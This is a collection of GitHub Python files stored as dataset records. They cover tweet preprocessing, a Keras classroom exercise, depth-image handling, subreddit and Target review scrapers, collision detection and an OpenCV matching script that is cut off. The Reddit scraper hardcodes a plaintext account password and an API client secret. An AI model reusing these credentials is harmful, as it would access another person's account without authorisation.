[\"albertaWildfires2019\",\"coloradoStemShooting2019\",\"cycloneKenneth2019\",\"earthquakeBohol2013\",\"fireYMM2016\",\n\"joplinTornado2011\",\"manilaFloods2013\",\"philippinesEarthquake2019\",\"sandiegoSynagogueShooting2019\",\n\"shootingDallas2017\",\"southAfricaFloods2019\"]\n\nfor files in tqdm(os.listdir(PATH_tweets)):\n\tif not files.startswith('.'):\n\t\twith open(PATH_tweets+files, \"r\",encoding='UTF-8') as file:\n\t\t\tfor line in file:\n\t\t\t\ttweet = json.loads(line)\n\t\t\t\tif tweet[\"allProperties\"][\"id\"] in tweet_id_map:\n\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"text\"] = tweet[\"allProperties\"][\"text\"]\n\t\t\t\t\tsrc = json.loads(tweet[\"allProperties\"][\"srcjson\"])\n\t\t\t\t\tif \"created_at\" in src:\n\t\t\t\t\t\tif \"+0000\" in src[\"created_at\"]:\n\t\t\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"timestamp\"] = time.strftime('%Y-%m-%d %H:%M:%S', time.strptime(src[\"created_at\"],'%a %b %d %H:%M:%S +0000 %Y'))\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"timestamp\"] = time.strftime('%Y-%m-%d %H:%M:%S', time.strptime(src[\"created_at\"],'%b %d, %Y %H:%M:%S %p'))\n\t\t\t\t\telse:\n\t\t\t\t\t\tif \"+0000\" in src[\"createdAt\"]:\n\t\t\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"timestamp\"] = time.strftime('%Y-%m-%d %H:%M:%S', time.strptime(src[\"createdAt\"],'%a %b %d %H:%M:%S +0000 %Y'))\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"timestamp\"] = time.strftime('%Y-%m-%d %H:%M:%S', time.strptime(src[\"createdAt\"],'%b %d, %Y %H:%M:%S %p'))\n\t\t\t\t\tif \"user.id_str\" in tweet[\"allProperties\"]:\n\t\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"user_id_str\"] = tweet[\"allProperties\"][\"user.id_str\"]\n\t\t\t\t\telse:\n\t\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"user_id_str\"] = tweet[\"allProperties\"][\"user.id\"]\n\ntweet_id_json = []\nfor i in tweet_id_map:\n\ttweet_id_json.append(dict(id=i,content=dict(tweet_id_map[i])))\n\ndf = pd.DataFrame.from_dict(json_normalize(tweet_id_json), orient='columns')\n\n# The tweets ids were reported High Priority or News by one of the TREC assessor in the first version of the data gave by TREC\nl_ids_other_assessor = ['1040371051706953728','1041619713078571008','1040360701586489344',\n'1040599786125185024','1040614324681826305','1040205012117479424','1040622759368421376','1041401444669288448','1039920284827086848']\n\ndef high_priority(priority,ids):\n\tif priority in [\"High\",\"Critical\"] or ids in l_ids_other_assessor:\n\t\treturn True\n\treturn False\n\ndef news(categories,ids):\n\tfor i in categories:\n\t\tif i==\"ContinuingNews\" or i==\"News\":\n\t\t\treturn True\n\tif ids in l_ids_other_assessor:\n\t\treturn True\n\treturn False\n\n\ndef cleanRaw(x):\n\tx=' '.join(x.split())\n\tx=re.sub(r'&','&',x,flags=re.MULTILINE)\n\tx=html.unescape(x)\n\tx=' '.join(x.split())\n\treturn x\n\ndef clean(x):\n\tx=' '.join(x.split())\n\tx=re.sub(r'&','&',x,flags=re.MULTILINE)\n\tx=html.unescape(x)\n\tx=re.sub(r'http\\S+','',x, flags=re.MULTILINE)\n\t# to remove links that start with HTTP/HTTPS in the tweet\n\tx=re.sub(r'[-a-zA-Z0–9@:%._\\+~#=]{0,256}\\.[a-z]{2,6}\\b([-a-zA-Z0–9@:%_\\+.~#?&//=]*)','',x, flags=re.MULTILINE) \n\t# to remove other url links\n\tx=re.sub(r\"@(\\w+)\", '',x, flags=re.MULTILINE)\n\tx=' '.join(x.split())\n\treturn x\n\ndef _surrogatepair(match):\n\tchar = match.group()\n\tassert ord(char) > 0xffff\n\tencoded = char.encode('UTF-8')\n\treturn (\n\t\tchr(int.from_bytes(encoded[:2], 'little')) + \n\t\tchr(int.from_bytes(encoded[2:], 'little')))\n\ndef with_surrogates(text):\n\treturn _nonbmp.sub(_surrogatepair, text)\n\n_nonbmp = re.compile(r'[\\U00010000-\\U0010FFFF]')\n# _nonbmp = re.compile(r'[\\U0800-\\UFFFF]'))\n\n\n# Order tweets with twin timestamps\nl_twin_timestamp_order = [[\"665284743156637696\",\"665284742686773248\"],\n[\"727629011728224256\",\"727629009207463937\"],\n[\"727630033846603776\",\"727630033288712192\"],\n[\"1121111562779938816\",\"1121111562704437248\"],\n[\"1121111567594950656\",\"1121111566324101120\"],\n[\"1121111566324101120\",\"1111567943327744\"],\n[\"1122228237365587970\",\"1122228235658518531\"],\n[\"1125882096403320833\",\"1125882096877281280\"]]\n\n\ndef timestamp_ordering(df,list_timestamp):\n\tl_df_order = []\n\tfor i in df[\"id\"]:\n\t\tif i in list_timestamp:\n\t\t\tl_df_order.append(i)\n\tif list_timestamp[0]!=l_df_order[0]:\n\t\tl1 = list(df.index[df[\"id\"]==list_timestamp[0]])[0]\n\t\tl2 = list(df.index[df[\"id\"]==list_timestamp[1]])[0]\n\t\ttemp = df.loc[l1].copy()\n\t\tdf.loc[l1] = df.loc[l2]\n\t\tdf.loc[l2] = temp\n\treturn df\n\n\"\"\"\nCreate events file with all tweets\n\"\"\"\n\nfor i in df[\"content.event\"].unique():\n\tif os.path.exists('./Données/Tweets/'+i+'.txt'):\n\t\tos.remove('./Données/Tweets/'+i+'.txt')\n\tfor j in df[df[\"content.event\"]==i][\"content.text\"]:\n\t\twith open('./Données/Tweets/'+i+'.txt','a',encoding='UTF-8') as file:\n\t\t\tfile.write(with_surrogates(cleanRaw(j))+'\\n')\n\n\"\"\"\nCreate summaries\n\"\"\"\n\ndf_redundancy = pd.read_csv(\"./Annotations/annotations_redundancy.txt\")\nl_redundancy = df_redundancy[df_redundancy[\"new\"]==True][\"id\"]\ns_redundancy = set()\nfor i in l_redundancy:\n\ts_redundancy.add(str(i))\ndf3 = df\ndf3 = df3.sort_values(by=[\"content.timestamp\"])\nfor i in l_twin_timestamp_order:\n\tdf3 = timestamp_ordering(df3,i)\ndf3 = df3[df3[\"id\"].apply(lambda x: True if x in s_redundancy else False)]\nfor i in df3[\"content.event\"].unique():\n\tif os.path.exists('./Données/Résumés/'+i+'.txt'):\n\t\tos.remove('./Données/Résumés/'+i+'.txt')\n\tfor j in df3[df3[\"content.event\"]==i][\"content.text\"]:\n\t\twith open('./Données/Résumés/'+i+'.txt','a',encoding='UTF-8') as file:\n\t\t\tfile.write(with_surrogates(clean(j))+'\\n')","repo_name":"AlexisDusart/SetSummTweet","sub_path":"initialization.py","file_name":"initialization.py","file_ext":"py","file_size_in_byte":9861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"38823615115","text":"\"\"\"\r\n File name: keras_intro.py\r\n Author: Zonglin Yang\r\n Project: P9\r\n course: cs540 Spring2020\r\n credit: Piazza\r\n\"\"\"\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras.layers import Dense, Flatten, Activation, Softmax\r\nfrom tensorflow.keras.losses import SparseCategoricalCrossentropy\r\nimport matplotlib.pyplot as plt\r\n\r\nclass_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat',\r\n 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']\r\n\r\n\r\n# Takes an optional boolean argument and returns the data as described in the specifications.\r\ndef get_dataset(training=True):\r\n fashion_mnist = keras.datasets.fashion_mnist\r\n (train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()\r\n\r\n if training:\r\n return train_images, train_labels\r\n else:\r\n return test_images, test_labels\r\n\r\n\r\n# Takes the dataset and labels produced by the previous function and prints several statistics about the data; does\r\n# not return anything.\r\ndef print_stats(images, labels):\r\n class_num = [0] * 10\r\n\r\n print(len(images))\r\n # get canvas size\r\n print('{}x{}'.format(len(images[0]), len(images[0][0])))\r\n # get number of images corresponding to the class labels\r\n for x in labels:\r\n class_num[x] += 1\r\n\r\n for i in range(len(class_names)):\r\n print('{}. {} - {}'.format(i, class_names[i], class_num[i]))\r\n\r\n\r\n# Takes a single image as an array of pixels and displays an image; does not return anything.\r\ndef view_image(image, label):\r\n fig, ax = plt.subplots()\r\n ax.set_title(label)\r\n\r\n # show image and color bar\r\n bar = ax.imshow(image, aspect='equal')\r\n fig.colorbar(bar, ax=ax)\r\n plt.show()\r\n\r\n\r\n# Takes no arguments and returns an untrained neural network as described in the specifications.\r\ndef build_model():\r\n model = keras.Sequential([\r\n Flatten(input_shape=(28, 28)),\r\n Dense(128, activation=Activation('relu')),\r\n Dense(10)\r\n ])\r\n model.compile(\r\n optimizer='adam',\r\n loss=SparseCategoricalCrossentropy(from_logits=True),\r\n metrics=['accuracy']\r\n )\r\n return model\r\n\r\n\r\n# Takes the model produced by the previous function and the images and labels produced by the first function and\r\n# trains the data for T epochs; does not return anything.\r\ndef train_model(model, images, labels, T):\r\n model.fit(x=images, y=labels, epochs=T)\r\n\r\n\r\n# Takes the trained model produced by the previous function and the test image/labels, and prints the evaluation\r\n# statistics as described below (displaying the loss metric value if and only if the optional parameter has not been\r\n# set to False).\r\ndef evaluate_model(model, images, labels, show_loss=True):\r\n test_loss, test_accuracy = model.evaluate(images, labels)\r\n\r\n if show_loss:\r\n print('Loss: {:.2f}'.format(test_loss))\r\n else:\r\n print('Accuracy: {:.2f}%'.format(test_accuracy * 100))\r\n\r\n\r\n# Takes the trained model and test images, and prints the top 3 most likely labels for the image at the given index,\r\n# along with their probabilities.\r\ndef predict_label(model, images, index):\r\n # add softmax layer before predictions\r\n model.add(Softmax())\r\n predictions = model.predict(images)\r\n\r\n # get predicted labels for image at given index\r\n predicted_labels = [(predictions[index][i], class_names[i]) for i in range(len(predictions[index]))]\r\n # sort by highest probability\r\n predicted_labels.sort(reverse=True, key=lambda tup: tup[0])\r\n\r\n # get rid of the softmax layer to avoid duplicate\r\n model.pop()\r\n\r\n for i in range(3):\r\n print('{}: {:.2f}%'.format(predicted_labels[i][1], predicted_labels[i][0] * 100))\r\n\r\n\r\nif __name__ == '__main__':\r\n (train_images, train_labels) = get_dataset()\r\n (test_images, test_labels) = get_dataset(False)\r\n #\r\n print_stats(train_images, train_labels)\r\n print_stats(test_images, test_labels)\r\n #\r\n view_image(train_images[100], class_names[train_labels[100]])\r\n view_image(test_images[2200], class_names[test_labels[2200]])\r\n view_image(test_images[6324], class_names[test_labels[6324]])\r\n view_image(test_images[7777], class_names[test_labels[7777]])\r\n #\r\n model = build_model()\r\n #\r\n train_model(model, train_images, train_labels, 5)\r\n #\r\n evaluate_model(model, test_images, test_labels, show_loss=False)\r\n evaluate_model(model, test_images, test_labels)\r\n #\r\n # model.add(Softmax())\r\n predict_label(model, test_images, 2200)\r\n predict_label(model, test_images, 6324)\r\n predict_label(model, test_images, 7777)","repo_name":"MikeYang1031/CS540-Intro-to-AI-Spring2020","sub_path":"keras_intro.py","file_name":"keras_intro.py","file_ext":"py","file_size_in_byte":4623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"74195004072","text":"# 03/08 월요일\n\n# 기본 수학 1 - 달팽이는 올라가고 싶다\n\nA, B, V = map(int, input().split())\n\nday = 1\nif V > A :\n day += (V-A)//(A-B)\n if ((V-A)%(A-B)) :\n day += 1\n\nprint(day)","repo_name":"delilah1004/Algorithm_Python","sub_path":"Baekjoon/week02-1/day3/quiz01.py","file_name":"quiz01.py","file_ext":"py","file_size_in_byte":196,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"11015312406","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 1 17:15:11 2023\n\n@author: jihyk\n\"\"\"\n\nimport json\nimport os\n\nos.chdir('C:\\\\Users\\\\jihyk\\\\Dropbox (Partners HealthCare)\\\\Recover-on-Track\\\\01_Technical\\\\02_Python\\\\iPad-record3d\\\\') #set current directory\n\n\nwith open('metadata-depth.json') as user_file:\n file_contents = user_file.read()\n \nprint(file_contents)\n\nparsed_json = json.loads(file_contents)\n\nK = parsed_json['K']\ninitPose = parsed_json['initPose']\n\n#%% convert to depth image\n\nimport numpy as np\nimport cv2\nimport open3d as o3d\n\n# Load the point cloud from a PLY file\npcd = o3d.io.read_point_cloud(\"0000000.ply\")\n\n# Convert the point cloud to a numpy array\npoints = np.asarray(pcd.points)\n\n# Define the camera intrinsics and extrinsics\nK = np.array(K).reshape((3, 3)) # Camera intrinsics\ntx, ty, tz, qx, qy, qz, qw = initPose # Camera extrinsics\n\n# Convert quaternion to rotation matrix\nR = np.array([[1 - 2 * (qy**2 + qz**2), 2 * (qx*qy - qz*qw), 2 * (qx*qz + qy*qw)],\n [2 * (qx*qy + qz*qw), 1 - 2 * (qx**2 + qz**2), 2 * (qy*qz - qx*qw)],\n [2 * (qx*qz - qy*qw), 2 * (qy*qz + qx*qw), 1 - 2 * (qx**2 + qy**2)]])\nt = np.array([[tx], [ty], [tz]])\ninitPose = np.hstack((R, t))\n\n# Determine the dimensions of the depth image\nwidth = parsed_json['dw'] #640 # Width of the color image\nheight = parsed_json['dh'] #480 # Height of the color image\n\n# Calculate the depth image\ndepth_image = np.zeros((height, width))\nfx, fy = K[0, 0], K[1, 1] # Focal length along x and y axes\ncx, cy = K[0, 2], K[1, 2] # Principal point coordinates\nfor point in points:\n # Apply the camera extrinsics\n point_hom = np.append(point, 1)\n point_cam = np.dot(initPose, point_hom)\n x, y, z = point_cam[:3]\n \n # Apply the camera intrinsics\n u = int(np.round(fx * x / z + cx))\n v = int(np.round(fy * y / z + cy))\n \n # Store the depth value in the depth image\n if 0 <= u < width and 0 <= v < height:\n if depth_image[v, u] == 0 or depth_image[v, u] > z:\n depth_image[v, u] = z\n\n# Display the depth image\ncv2.imshow(\"Depth Image\", depth_image / np.max(depth_image))\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n\n#%%\n\nimport os\nos.environ[\"OPENCV_IO_ENABLE_OPENEXR\"]=\"1\"\nimport cv2\n\n# then just type in following\n\nPATH2EXR = 'C:\\\\Users\\\\jihyk\\\\Dropbox (Partners HealthCare)\\\\Recover-on-Track\\\\01_Technical\\\\02_Python\\\\iPad-record3d\\\\0.exr'\n\nimg = cv2.imread(PATH2EXR, cv2.IMREAD_ANYCOLOR | cv2.IMREAD_ANYDEPTH)\n\nimg = cv2.rotate(img, cv2.ROTATE_90_COUNTERCLOCKWISE)\n'''\nyou might have to disable following flags, if you are reading a semantic map/label then because it will convert it into binary map so check both lines and see what you need\n''' \n#img = cv2.imread(PATH2EXR) \n \nimg2 = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n\ndepth = img2[:,:,2]/3\n\ncv2.imshow('depth',depth)\ncv2.waitKey(0)\n\n#%%\n\nimport OpenEXR\nimport Imath\nimport numpy as np\n\n# Open the EXR file\nexr_file = OpenEXR.InputFile('C:\\\\Users\\\\jihyk\\\\Downloads\\\\File_000\\\\K_Mild_H_1-cup\\\\EXR_RGBD\\\\depth\\\\10.exr')\n\n# Get the header information\nheader = exr_file.header()\n\n# Get the size of the image\ndata_window = header['dataWindow']\nwidth = data_window.max.x - data_window.min.x + 1\nheight = data_window.max.y - data_window.min.y + 1\n\n# Get the channel names\nchannels = header['channels'].keys()\n\n# Extract the depth channel\ndepth_channel = 'Z' # Replace with the name of the depth channel in your EXR file\ndepth = np.fromstring(exr_file.channel(depth_channel, Imath.PixelType(Imath.PixelType.FLOAT)), dtype=np.float32)\ndepth = np.reshape(depth, (height, width))\n\n# Now you can use the 'depth' array to work with the depth information from the EXR file\n\n\n#%%\n\nimport os\n\nos.environ[\"OPENCV_IO_ENABLE_OPENEXR\"] = \"1\"\n\nimport cv2 as cv\n\nhdr = cv.imread(PATH2EXR, cv.IMREAD_UNCHANGED)\n\n\ncv.namedWindow('hdr',\n cv.WINDOW_NORMAL | cv.WINDOW_KEEPRATIO | cv.WINDOW_GUI_EXPANDED)\n\n\nhdr = cv.normalize(hdr, None, 0, 255, cv.NORM_MINMAX, cv.CV_8U)\n\nhdr = cv2.rotate(hdr, cv2.ROTATE_90_COUNTERCLOCKWISE)\n\n\n\nprint('hdr: min {} | max {}'.format(hdr.min(), hdr.max()))\n\n\ncv.imshow('hdr', hdr)\n\ncv.waitKey(0)\ncv.destroyAllWindows()\n\n#%% read ply export with camera extrinsics and intrinsics from metadata \n\nimport open3d as o3d\nimport matplotlib.pyplot as plt\n\n# Load the point cloud\npcd = o3d.io.read_point_cloud('0000001-TD.ply')\n\n\n# Define the rotation matrix (90 degrees around z-axis)\ntheta = np.radians(270)\nc, s = np.cos(theta), np.sin(theta)\nR = np.array(((c, -s, 0), (s, c, 0), (0, 0, 1)))\n\n# Apply the rotation to the point cloud\npcd.rotate(R)\n\n\n# Visualize the point cloud\no3d.visualization.draw_geometries([pcd])\n\n# Define the camera intrinsic parameters\nK = parsed_json['K']\nfx = K[0]\nfy = K[4]\ncx = K[2]\ncy = K[5]\n\n# Define the camera extrinsic parameters\ninitPose = parsed_json['initPose']\ntx, ty, tz, qx, qy, qz, qw = initPose\n\n# Convert quaternion to rotation matrix\nR = np.array([[1 - 2 * (qy**2 + qz**2), 2 * (qx*qy - qz*qw), 2 * (qx*qz + qy*qw)],\n [2 * (qx*qy + qz*qw), 1 - 2 * (qx**2 + qz**2), 2 * (qy*qz - qx*qw)],\n [2 * (qx*qz - qy*qw), 2 * (qy*qz + qx*qw), 1 - 2 * (qx**2 + qy**2)]])\nt = np.array([[tx], [ty], [tz]])\nextrinsics = np.hstack((R, t))\n\n# Create an OffscreenRenderer object\nrender = o3d.visualization.rendering.OffscreenRenderer(640, 480)\n\n# Set up the camera with intrinsic and extrinsic parameters\ncenter = np.array([0, 0, 0], dtype=np.float32)\nfocal_length = np.array([1593.8209228515625, 1593.8209228515625, 0], dtype=np.float32)\nrender.setup_camera(122, center, focal_length, extrinsics, np.array([0, 1, 0], dtype=np.float32))\n\n\n# Render the image\nimage = render.render_to_image()\n\n# Show the rendered image\nplt.imshow(np.asarray(image))\nplt.show()\n\n\n\n#%% \n\nimport pandas as pd\nfrom pyntcloud import PyntCloud\n\ncloud = PyntCloud.from_file('0000000.ply')","repo_name":"jennyk0317/Recover-on-Track","sub_path":"01_Technical/02_Python/read_record3d.py","file_name":"read_record3d.py","file_ext":"py","file_size_in_byte":5829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"16346698904","text":"file=open(\"out.txt\")\nresults=eval(file.read())\n\n\nfile1=open(\"result.txt\",\"r\")\ndata=file1.read()\ndata=data.split(\"\\n\")\n\nt=[]\n\nfor i in data:\n t.append(int(i))\n\n\ntrue=0\nfalse=0\nones=0\n\nfalse_pos={}\nfalse_neg=0\n\nfor i in range(2248):\n\n if t[i]==1 and results[i+1][0]>0:\n true+=1\n elif t[i]==0 and results[i+1][0]==0:\n true+=1\n else:\n false+=1\n if t[i]==1:\n ones+=1\n if t[i]==0 and results[i+1][0]>0:\n false_pos[i+1]=results[i+1]\n if t[i]==1 and results[i+1][0]==0:\n false_neg+=1\n\n\n\nprint(false_neg)\nprint(true,false,ones)\nprint(len(false_pos.keys()))\nfile=open(\"false_positives.txt\",\"w\")\nfor key,val in false_pos.items():\n file.write(str(key)+\":\"+str(val)+\"\\n\")\n","repo_name":"manush96/Pun-detection-location-and-interpretation","sub_path":"RNN/accuracy_homographic.py","file_name":"accuracy_homographic.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"22573492077","text":"# while문을 활용한 선형 검색 알고리즘\n\n# 함수 구현\ndef LinearSearch_While(array, key):\n i = 0\n\n while True:\n if i == len(array): # 검색을 실패한 경우: key값이 없을때\n return -1\n if array[i] == key: # 검색을 성공한 경우: key값이 있을때\n return i\n i += 1\n\nindex = int(input(\"인덱스 값을 입력해주세요:\"))\nx = [None] * index\n\nfor i in range(index):\n x[i] = int(input(\"x[%d] 값을 입력해주세요:\" %i))\n\nwantedKey = int(input(\"원하는 key값을 입력해주세요\"))\n\nidx = LinearSearch_While(x, wantedKey)\n\nif idx == -1:\n print(\"원하는 원소가 없습니다.\")\nelse:\n print(\"원하는 값이 x[%d]에 있습니다\" %idx) \n","repo_name":"jjiwoning/Code_Test","sub_path":"python_algo/Algorithm/SearchAlgorithm/LinearSearch_while.py","file_name":"LinearSearch_while.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"37193155189","text":"from Core.BasicDefs import *\n\nclass CollisionObject:\n def __init__( self, vertices, edgeNormals ):\n self.vertices = vertices\n self.edgeNormals = edgeNormals\n\nclass _Projection:\n def __init__( self, minPt, maxPt ):\n self.minPt = minPt\n self.maxPt = maxPt\n def Overlaps( self, other ):\n return not ( ( other.minPt >= self.maxPt ) or ( other.maxPt <= self.minPt ) )\n\ndef _GetProjection( obj, axis ):\n minPt = np.dot( axis, obj.vertices[0] )\n maxPt = minPt\n\n for i in range( 1, len( obj.vertices ) ):\n dot = np.dot( axis, obj.vertices[i] )\n if dot > maxPt:\n maxPt = dot\n elif dot < minPt:\n minPt = dot\n\n return _Projection( minPt, maxPt )\n\ndef ObjectsCollide( objA, objB ):\n for projAxis in objA.edgeNormals:\n projA = _GetProjection( objA, projAxis )\n projB = _GetProjection( objB, projAxis )\n if not projA.Overlaps( projB ):\n return False\n\n for projAxis in objB.edgeNormals:\n projA = _GetProjection( objA, projAxis )\n projB = _GetProjection( objB, projAxis )\n if not projA.Overlaps( projB ):\n return False\n\n return True\n","repo_name":"OHUSAR/OrientedBoundingBoxes","sub_path":"Source/Core/Collisions/CollisionDetector.py","file_name":"CollisionDetector.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"37085192037","text":"\"\"\"\nData sources:\nreddit APIs\n\nReferences: https://alpscode.com/blog/how-to-use-reddit-api/\n https://towardsdatascience.com/how-to-use-the-reddit-api-in-python-5e05ddfd1e5c\n\"\"\"\n # Requesting a temporary OAuth token from Reddit\n\nimport requests\nimport pandas as pd\n\nbase_url = \"https://www.reddit.com/\"\ndata = {\"grant_type\": \"password\", \"username\": \"cmsc12200\", \"password\": \"cmsc122002021\"}\nauth = requests.auth.HTTPBasicAuth(\"NcnHg9YC03jQNg\", \"Ayx-RuhcCgs6ii_30ElHE9O1Bu-cCw\")\nheaders = {\"User-agent\": \"keyword-search by cmsc12200\"}\nr = requests.post(base_url + \"api/v1/access_token\",\n data = data,\n headers = headers,\n auth = auth)\n\nTOKEN = r.json()[\"access_token\"]\n\nheaders = {**headers, **{'Authorization': f\"bearer {TOKEN}\"}}\n\nrequests.get('https://oauth.reddit.com/api/v1/me', headers=headers)\n\n\n# Scraping Colleges\n# Colleges to Scrape:\n# Harvard, Princeton, Columbia, MIT, Yale, Stanford, UChicago, UPenn, Caltech, JHU\n\n\nlist_of_schools = [\"Harvard\", \"Princeton\", \"Yale\", \"MIT\", \"Columbia\",\n \"Stanford\", \"UChicago\", \"UPenn\", \"Caltech\", \"JHU\"]\n\n\n\n\ndf = pd.DataFrame()\n\n#pulling title, date-time, content, and reactions to a post\n\nfor school in list_of_schools:\n last_post = None\n for i in range(20):\n r = requests.get(\"https://oauth.reddit.com/r/\" + school + \"/new\",\n headers=headers,\n params= {\"limit\": \"100\", \"after\": last_post})\n for post in r.json()[\"data\"][\"children\"]:\n df = df.append({\n \"subreddit\": (post[\"data\"][\"subreddit\"]).lower(),\n \"title\" : post[\"data\"][\"title\"],\n \"text\": post[\"data\"][\"selftext\"],\n \"upvote_ratio\": post[\"data\"][\"upvote_ratio\"],\n \"ups\":post[\"data\"][\"ups\"],\n \"downs\": post[\"data\"][\"downs\"],\n \"score\": post[\"data\"][\"score\"],\n \"epoch_time\": post[\"data\"][\"created_utc\"],\n \"unique_post_id\": post[\"data\"][\"name\"],\n \"user_id\": post[\"data\"][\"author\"]\n }, ignore_index = True)\n last_post = post[\"data\"][\"name\"]\n \n # This creates a separate csv for every school\n # To create \"all_raw_data.csv\", delete the following two lines\n # and add the following line of code outside of the for loop:\n # df.to_csv(\"all_raw_data.csv\", index = False, header = True)\n df.to_csv(school + \"_raw_data.csv\", index = False, header = True)\n df = pd.DataFrame()\n\n\n","repo_name":"nancysunnieli/College-Subreddit-Data-Analyzer","sub_path":"reddit_scraping.py","file_name":"reddit_scraping.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"10197232387","text":"import re\nimport requests\nfrom .models import Project, Product, Review, ProductPageUrl\nimport html\nimport datetime\nimport pytz\nimport logging\nfrom selenium import webdriver\nimport time\nimport random\nimport os\n\nfrom .helpers import *\n\nlogger = logging.getLogger(__name__)\n\ndef get_target_reviews_api(headers_list, product_page_url, project, product, start_date, cutoff_date, brand_website_name):\n if not isinstance(product_page_url, str):\n return\n\n chromedriver = \"/usr/local/chromedriver\"\n os.environ[\"webdriver.chrome.driver\"] = chromedriver\n\n # setup driver\n\n driver = webdriver.Chrome(chromedriver)\n driver.set_window_size(1120, 550)\n driver.set_window_position(-10000, 0)\n\n # setup xpath dict\n xpaths = {\n \"average_rating\": '//*[@id=\"bvTag-reviewsSummary\"]//span[@class=\"h-sr-only h-inlineWrap\"]',\n }\n\n # setup regex dict\n regex = {\n \"rating\": '(.*?) out of 5 stars',\n }\n\n # connect to original review url\n\n succeeded = False\n num_attempts = 0\n max_num_attempts = 20\n while succeeded == False:\n num_attempts += 1\n if num_attempts > max_num_attempts:\n break\n try:\n print(\"Trying\")\n driver.get(product_page_url)\n succeeded = True\n print(\"Succeeded\")\n except:\n print(\"Error\")\n time.sleep(random.randint(2, 5))\n\n error_message = \"error getting average rating text\"\n time.sleep(10)\n result = get_elements(driver, xpaths[\"average_rating\"], error_message)\n\n time.sleep(2)\n\n if result == 'Error':\n product.average_rating = float(0)\n product.save()\n\n else:\n try:\n rating_result = result.pop(0).text\n except:\n logger.warn('No average rating')\n product.average_rating = float(0)\n product.save()\n\n matches = re.findall(regex['rating'], rating_result)\n\n if len(matches) == 0:\n logger.warn(\"No matches - Product - average rating\")\n else:\n product.average_rating = float(matches[0])\n product.save()\n logger.warn(matches[0])\n\n driver.quit()\n\n time.sleep(3)\n url_item = product_page_url.split('-/A-')[-1]\n url = 'https://redsky.target.com/groot-domain-api/v1/reviews/' + url_item + '?sort=time_desc&filter=&limit=1000&offset=0'\n page_source = requests.get(url, headers=random.choice(headers_list)).json()\n try:\n product.total_number_reviews = page_source['totalResults']\n product.save()\n reviews = page_source['result']\n except:\n logger.warn(page_source)\n\n for item in reviews:\n review_date = item['SubmissionTime']\n review_date = review_date.split(\"T\")[0]\n review_date = datetime.datetime.strptime(review_date, \"%Y-%m-%d\").replace(tzinfo=pytz.UTC)\n\n if review_date > start_date:\n continue\n\n if review_date < cutoff_date:\n return\n\n review_text = item['ReviewText']\n title = item['Title']\n\n if item['IsSyndicated']:\n is_from_brand_website = item['SyndicationSource']['Name']\n else:\n is_from_brand_website = ''\n\n if item['IsRecommended']:\n would_recommend = 'would recommend'\n else:\n would_recommend = 'would not recommend'\n\n rating = item['Rating']\n username = item['UserNickname']\n\n review = Review(project=project, product=product, date=review_date, title=title,\n username=username, review_text=review_text,\n rating=float(rating), is_from_brand_website=is_from_brand_website,\n would_recommend=would_recommend)\n\n review.save()\n calculate_review_stats(project, product)\n","repo_name":"LosGimenos/python_extractor","sub_path":"scraper_tests/target_from_api.py","file_name":"target_from_api.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"15414966301","text":"import numpy as np\nimport cv2 as cv\n\nimg1 = cv.imread('IMG_0045.JPG')\nimg2 = cv.imread('IMG_0046.JPG')\n# Q5. does it work when the images are rotated so that they are not approximately aligned at first ?\n# img1 = cv.imread('IMG_0045.JPG')\n# img2 = cv.imread('IMG_0046r.JPG')\n# Q6. make it work on 2 images of your own\n# img1 = cv.imread('WechatIMG19.JPG')\n# img2 = cv.imread('WechatIMG20.JPG')\n\nimg1gray = cv.cvtColor(img1, cv.COLOR_BGR2GRAY)\nimg2gray = cv.cvtColor(img2, cv.COLOR_BGR2GRAY)\n\n# Q1. use an opencv feature extractor and descriptor to detect and compute features on both images\nsift = cv.xfeatures2d_SIFT().create()\n# find the keypoints and descriptors with SIFT\nkp1, des1 = sift.detectAndCompute(img1gray, None)\nkp2, des2 = sift.detectAndCompute(img2gray, None)\nkp1_image = cv.drawKeypoints(img1gray, kp1, None)\nkp2_image = cv.drawKeypoints(img2gray, kp2, None)\ncv.imshow(\"kp1\", kp1_image)\ncv.imshow(\"kp2\", kp2_image)\ncv.waitKey(0)\n\n# Q2. use a descriptor matcher, to compute feature correspondences\n# FLANN parameters\nFLANN_INDEX_KDTREE = 1\nindex_params = dict(algorithm=FLANN_INDEX_KDTREE, trees=5)\nsearch_params = dict(checks=50)\nflann = cv.FlannBasedMatcher(index_params, search_params)\nmatches = flann.knnMatch(des1, des2, k=2)\ngood = []\n# ratio test as per Lowe's paper\nfor m, n in 